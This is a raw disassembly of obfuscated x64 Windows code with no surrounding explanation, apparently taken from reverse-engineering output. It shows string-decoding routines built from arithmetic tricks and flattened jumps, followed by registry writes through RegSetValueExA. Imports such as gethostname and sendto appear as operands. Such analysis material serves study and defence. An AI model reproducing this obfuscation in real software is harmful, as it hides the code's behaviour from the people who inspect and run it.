lea ecx, [r11 + 0x72]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x1e
movzx eax, byte [rbp + r11 - 0x28]
add rax, r9
add r11, rax
inc r11
jmp 0x1401040b3
cmp r8, rdi
jne 0x1401045da
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 - 0x28]
add rax, r9
add r11, rax
inc r11
jmp 0x1401040b3
cmp r8, rax
jne 0x1401045fd
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140104773
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010435f
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140104639
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea ebx, [rcx + rcx]
add bl, dl
movzx edx, r11b
sub dl, 0x62
movzx eax, r10b
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x52
add cl, r10b
add cl, dl
mov byte [rbp + r11 - 0x28], cl
jmp 0x140104743
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140104773
lea edx, [r11 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x140104733
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1401040b3
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1401040b3
lea edx, [r11 + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx edi, r11b
jmp 0x1401046f0
movzx edi, r11b
lea edx, [rdi - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
sub dil, 0x3e
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x4e
add r10b, dil
mov byte [rbp + r11 - 0x28], r10b
inc r9
dec r11
inc r11
jmp 0x1401040b3
lea edx, [r11 + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401040b3
lea rcx, [r11 + r12]
and dl, cl
mov eax, reloc.WS2_32.dll_gethostname
sub al, dl
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
movzx ecx, r11b
add cl, 0x7a
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x56
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x28], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x28], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 - 0x28]
add rax, r9
add r11, rax
inc r11
jmp 0x1401040b3
lea rcx, [r11 + rsi]
and dl, cl
mov eax, 0x3d
sub al, dl
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
movzx eax, byte [rbp + r11 - 0x28]
add rax, r9
add r11, rax
inc r11
jmp 0x1401040b3
sub r11b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401040b0
sub r11b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401040a0
lea rdx, [rbp + 0x15f6fc0]
jmp 0x14010485b
lea rdx, [rbp + 0x488cae]
jmp 0x14010485b
lea rdx, [rbp - 0x28]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104ff5
mov rdi, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x140104895
mov r14, qword [r14]
mov dword [rbp - 0x50], 0x64636c49
mov dword [rbp - 0x4c], 0x73675561
mov word [rbp - 0x48], 0x960
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x46], xmm0
mov qword [rbp - 0x36], rax
mov byte [rbp - 0x2e], al
movabs rsi, 0x994162e7f3dd6d00
movabs r12, 0x30c9b457ab0dfb00
movabs r15, 0xcbc428b7db984700
movzx r11d, byte [rbp + 0x30]
nop dword [rax]
mov rax, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor r10d, r10d
cmp r10, 0x23
jae 0x140104fc0
movzx r9d, byte [rbp + r10 - 0x50]
mov ebx, r9d
cmp rax, r10
ja 0x140104fb7
lea rcx, [r8 + 1]
cmp rax, rcx
jae 0x14010492e
lea rdx, [r10 + rsi]
mov rcx, rbx
and rcx, rdx
imul r11, rcx, 0xfffffffffffffffe
add r11, rbx
add r11, rdx
jmp 0x140104970
je 0x140104f62
lea rcx, [r8 + 3]
cmp rax, rcx
je 0x140104ef9
lea rcx, [r8 + 5]
cmp rax, rcx
je 0x140104eb0
lea rcx, [r8 + 4]
cmp rax, rcx
je 0x140104e95
lea rcx, [r8 + 2]
cmp rax, rcx
je 0x140104e60
nop dword [rax + rax]
cmp r8, r10
ja 0x140104fae
lea rcx, [r8 + 0x2a]
cmp rax, rcx
jae 0x140104997
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x1401049d0
lea rcx, [r8 + 1]
cmp rax, rcx
je 0x140104e60
inc rcx
cmp rax, rcx
je 0x140104eb0
lea rcx, [r8 + 5]
cmp rax, rcx
je 0x140104c55
lea rcx, [r8 + 2]
cmp rax, rcx
je 0x140104c07
nop word [rax + rax]
lea rcx, [r8 + rax]
cmp rcx, r10
jbe 0x140104be0
nop dword [rax]
lea rcx, [r8 + 0x80]
cmp rax, rcx
je 0x140104e60
lea rcx, [r8 + 0x64]
cmp rax, rcx
je 0x140104ce8
lea rcx, [r8 + 0x42]
cmp rax, rcx
je 0x140104e95
lea rcx, [r8 + 0x40]
cmp rax, rcx
je 0x140104eb0
lea rcx, [r8 + 0x61]
cmp rax, rcx
je 0x140104c55
lea rdx, [r8 + 0x1000]
cmp rax, rdx
je 0x140104d3a
lea rcx, [r8 + 0x400]
cmp rax, rcx
je 0x140104c34
lea rcx, [r8 + 0x3e8]
cmp rax, rcx
je 0x140104db5
lea rcx, [r8 + 0x200]
cmp rax, rcx
je 0x140104c07
lea rcx, [r8 + 0x2a]
cmp rax, rcx
je 0x1401049e0
mov rax, rdx
lea r8, [rdx + 0x5a]
lea rcx, [r8 + 0x400]
cmp rdx, rcx
jb 0x140104f99
lea rcx, [r8 + 2]
cmp rdx, rcx
jb 0x140104f84
lea rcx, [r8 + 1]
cmp rdx, rcx
jb 0x140104bab
lea rcx, [r8 + 0x2a]
cmp rdx, rcx
jb 0x140104b93
lea rcx, [r8 + 0x5a]
cmp rdx, rcx
jb 0x140104982
lea rcx, [r8 + 0x41]
cmp rdx, rcx
jb 0x140104be9
lea rcx, [r8 + 6]
cmp rdx, rcx
jb 0x140104c91
lea rcx, [r8 + 5]
cmp rdx, rcx
jb 0x140104cbb
lea rcx, [r8 + 4]
cmp rdx, rcx
jb 0x140104bc3
lea rcx, [r8 + 3]
cmp rdx, rcx
jb 0x1401049e0
lea rax, [r8 + 8]
lea r8, [rax + 2]
lea rcx, [r8 + 6]
cmp rax, rcx
ja 0x140104c07
lea rcx, [r8 + 5]
cmp rax, rcx
ja 0x140104db5
lea rcx, [r8 + 4]
cmp rax, rcx
ja 0x140104c34
lea rcx, [r8 + 3]
cmp rax, rcx
ja 0x140104d3a
lea rcx, [r8 + 0x20]
cmp rax, rcx
ja 0x140104c55
lea rdx, [r8 + 0x10]
cmp rax, rdx
ja 0x140104eb0
lea rcx, [r8 + 0xa]
cmp rax, rcx
ja 0x140104e95
lea rcx, [r8 + 9]
cmp rax, rcx
ja 0x140104ce8
lea rcx, [r8 + 8]
cmp rax, rcx
ja 0x140104e60
lea rcx, [r8 + 0x64]
cmp rax, rcx
ja 0x1401049e0
mov rax, rdx
lea r8, [rdx + 0x42]
jmp 0x1401049e0
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x140104970
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x140104906
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
mov byte [rbp + r10 - 0x50], r11b
inc r10
jmp 0x1401048f3
lea rcx, [r8 + 9]
cmp rax, rcx
jae 0x140104bfe
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x140104c77
lea rcx, [r8 + 1]
cmp rax, rcx
jne 0x140104c2b
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, r8
add r10, rcx
inc r10
jmp 0x1401048f3
lea rcx, [r8 + 2]
cmp rax, rcx
jne 0x140104c4c
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x140104f07
lea rcx, [r8 + 3]
cmp rax, rcx
jne 0x140104c6a
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
jmp 0x140104edd
lea rcx, [r8 + 6]
cmp rax, rcx
je 0x140104e60
lea rcx, [r8 + rax]
cmp rcx, 0x61
je 0x140104e45
lea rcx, [r8 + 0x80]
cmp rax, rcx
jbe 0x140104cd3
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
cmp rax, 0x5a
jae 0x140104e30
lea rcx, [r8 + 3]
cmp rax, rcx
jbe 0x140104d80
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x140104e0e
lea rcx, [r8 + 1]
cmp rax, rcx
je 0x140104e60
inc rcx
cmp rax, rcx
jne 0x140104d06
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
inc r8
dec r10
inc r10
jmp 0x1401048f3
lea rcx, [r8 + 3]
cmp rax, rcx
je 0x140104e95
lea rcx, [r8 + 2]
cmp rax, rcx
jne 0x140104d31
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
jmp 0x140104edd
lea rcx, [r8 + 4]
cmp rax, rcx
jne 0x140104d4f
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
jmp 0x140104ee0
lea rcx, [r8 + 7]
cmp rax, rcx
jne 0x140104ca4
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, r8
add r10, rcx
inc r10
jmp 0x1401048f3
lea rcx, [r8 + 1]
cmp rax, rcx
jne 0x140104dad
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, r8
add r10, rcx
inc r10
jmp 0x1401048f3
inc rcx
cmp rax, rcx
jne 0x140104dcd
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
jmp 0x140104f2a
lea rcx, [r8 + 2]
cmp rax, rcx
je 0x140104c34
lea rcx, [r8 + 4]
cmp rax, rcx
jne 0x140104df8
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
jmp 0x140104edd
lea rcx, [r8 + 6]
cmp rax, rcx
je 0x140104e95
lea rcx, [r8 + 5]
cmp rax, rcx
je 0x140104e60
cmp r8, 0x20
jb 0x140104bd3
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edx, r9b
sub dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x140104e73
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r9b
jmp 0x140104ec0
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
sub r11b, r9b
add r11b, r10b
jmp 0x140104f07
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
add r9b, r10b
mov byte [rbp + r10 - 0x50], r9b
inc r8
dec r10
inc r10
jmp 0x1401048f3
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
dec r10
inc r10
jmp 0x1401048f3
movzx edx, r9b
and dl, r10b
add dl, dl
movzx r11d, r9b
sub r11b, dl
add r11b, r10b
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r9b
add dl, r10b
mov byte [rbp + r10 - 0x50], dl
add rax, r8
movzx ecx, r11b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x1401048f3
lea rcx, [r10 + r12]
and bl, cl
add bl, bl
sub cl, bl
lea r11d, [r9 + rcx]
movzx edx, r9b
and dl, r10b
add dl, dl
movzx ecx, r9b
sub cl, dl
add cl, r10b
movzx edx, cl
mov byte [rbp + r10 - 0x50], dl
inc r8
add rdx, r8
sub r10, rdx
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
add r9b, r10b
mov byte [rbp + r10 - 0x50], r9b
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, r8
add r10, rcx
inc r10
jmp 0x1401048f3
lea rcx, [r10 + r15]
and bl, cl
add bl, bl
sub cl, bl
lea r11d, [r9 + rcx]
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, r8
add r10, rcx
inc r10
jmp 0x1401048f3
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea r11d, [r10 + r9]
jmp 0x1401048f0
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea r11d, [r10 + r9]
jmp 0x1401048e0
lea rdx, [rbp + 0x1453bb0]
jmp 0x140104fc4
lea rdx, [rbp + 0xa2a8b0]
jmp 0x140104fc4
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140104ff5
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x140104ff7
xor bl, bl
lea rcx, [rbp + 0x38]
call fcn.140002820
movzx eax, bl
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140198890
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret